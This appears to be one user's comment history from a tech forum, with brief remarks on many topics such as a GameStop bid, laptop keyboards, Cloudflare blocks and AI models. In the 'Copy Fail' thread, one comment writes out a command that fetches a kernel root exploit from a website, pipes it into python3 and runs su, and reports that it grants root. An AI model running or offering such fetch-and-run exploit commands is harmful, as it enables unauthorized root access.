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archon810··on GameStop makes $55.5B takeover offer for eBay
>assuming the CEO of GameStop doesn't mess it up completely.

This guy? https://x.com/i/status/2051303211668021478

Surely, he's a safe bet, no chance he will mess up this deal!

/s

archon810··on Why does it take so long to release black fan versions?
And I don't understand why they can't just mold all the colors in parallel. If brown is in production, why can't they experiment with black at the same time?
archon810··on Why does it take so long to release black fan versions?
It's refreshing to see something without any AI slop for once. The fact that this aspect is so exciting is so sad.
archon810··on Copy Fail

    modprobe algif_aead
    modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168
Yet this kernel is vulnerable.
archon810··on Copy Fail
Edited with an update.
archon810··on Copy Fail

    curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "<stdin>", line 9, in <module>
      File "<stdin>", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'
Does this mean I'm not affected or it's a buggy script?

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

archon810··on HERMES.md in commit messages causes requests to route to extra usage billing
They're issuing refunds and extra credits https://news.ycombinator.com/item?id=47954655.
archon810··on Tell HN: An app is silently installing itself on my iPhone every day
Is this really true, I presume on iPhones? As an Android user, this sounds insane to me.
archon810··on Framework Laptop 13 Pro
Is there an option for a keyboard with dedicated PgUp/PgDn/Home/End/Insert/Delete keys? I looked at a bunch of designs and didn't find any. If this is a developer-focused laptop, how can the keyboard be so developer-unfriendly? This is why I keep getting Lenovo laptops, they don't compromise on these keys.
archon810··on Qwen3.6-Max-Preview: Smarter, Sharper, Still Evolving
Why wouldn't they? If they can tout improvements over Composer 2, it'll be worth the training cost.
archon810··on All phones sold in the EU to have replaceable batteries from 2027
Or hair.
archon810··on Kimi K2.6: Advancing open-source coding
Shhhhh, they're going to be on to us.
archon810··on Qwen3.6-Max-Preview: Smarter, Sharper, Still Evolving
I wonder if this means a better Cursor Composer model update is coming, since it builds on top of Kimi K2.
archon810··on John Ternus to become Apple CEO
https://www.apple.com/community-letter-from-tim/

Why share it as a quote rather than a link I can click?

archon810··on Stop Flock
We're talking about license plate recognition cameras, not cameras that show a blurry picture of a criminal committing a crime. These LPR cameras absolutely do result in meaningful law enforcement action and help catch criminals.

See San Francisco and their use of LPR cameras like Flock combined with drone surveillance.

https://fb.watch/GvATBMj1bj/

https://abc7news.com/post/how-sfpds-new-investigation-center...

Etc.

archon810··on Tell HN: Docker pull fails in Spain due to football Cloudflare block
I found out about this a month ago when a confused Spanish user showed me all downloads on https://apkmirror.com (powered by Cloudflare R2) are blocked in Spain during LaLiga soccer matches https://x.com/i/status/2030361569691898237. It was so idiotic, I couldn't believe it. Glad it's getting more attention now.
archon810··on Are We Idiocracy Yet?
Don't forget Silicon Valley!
archon810··on Cursor 3
You don't have to use swarms if you don't need them though, and in fact you can continue using the editor view with the side chat like before. Why switch away now just because this optional UI was announced?
archon810··on Google releases Gemma 4 open models
He is the JerryRigEverything of pelicans.
archon810··on Founder of GitLab battles cancer by founding companies
Unfortunately, I found this from 12 days ago https://www.dailymail.co.uk/news/article-15655909/Dr-Richard.... Glioblastoma is a horrible disease.
archon810··on People inside Microsoft are fighting to drop mandatory Microsoft Account
Another die-hard user of dual-pane commanders, including Total Commander for over 20 years, reporting in.

The best part about Total Commander is that my license from like 20 years ago is still valid, and every update that comes out still works with it and never pushes for upgrades, etc. As much as new software has dark patterns and upsells everywhere, Total Commander is wonderfully frozen in time in that regard.

archon810··on Mystery jump in oil trading ahead of Trump post draws scrutiny
I would just like to know who this was at least.
archon810··on “Your frustration is the product”
Was your company called Scroll by chance, the one that Twitter acquired?

When I ran Android Police, we were one of the largest Scroll users in the beginning and I was pretty upset when Scroll shut down.

However, it never amounted to any meaningful revenue and was just a nice way to implement ad-free subscriptions across various sites. Other big sites used it too, like The Verge and Gizmodo and I thought it had some potential.

archon810··on Chrome DevTools MCP (2025)
I haven't been able to get it to work under WSL in Cursor either.
archon810··on I built a demo of what AI chat will look like when it's “free” and ad-supported
It's already what AI chats look like. There are a million AI chat apps on the Play Store and Appstore, and they all try to monetize in some obnoxious way.
archon810··on The whole thing was a scam
It was Greg and Anna Brockman who donated, not Altman. But close enough to the goal post.
archon810··on I’m joining OpenAI
Lex's interview https://youtu.be/YFjfBk8HI5o.
archon810··on Shipmap.org
Stunningly beautiful.
archon810··on Vietnam bans unskippable ads
What's with the weird duck that flies out from the top right into the bottom left of the screen when you first open the article?
archon810··on Linux is good now
The screenshot in the article https://cdn.mos.cms.futurecdn.net/MxF6RyJFq3wPtTeAEQAcHS-102... confirms to an average reader that Linux desktop still looks really unpleasant and dated. Is there really no better screenshot they could have used?
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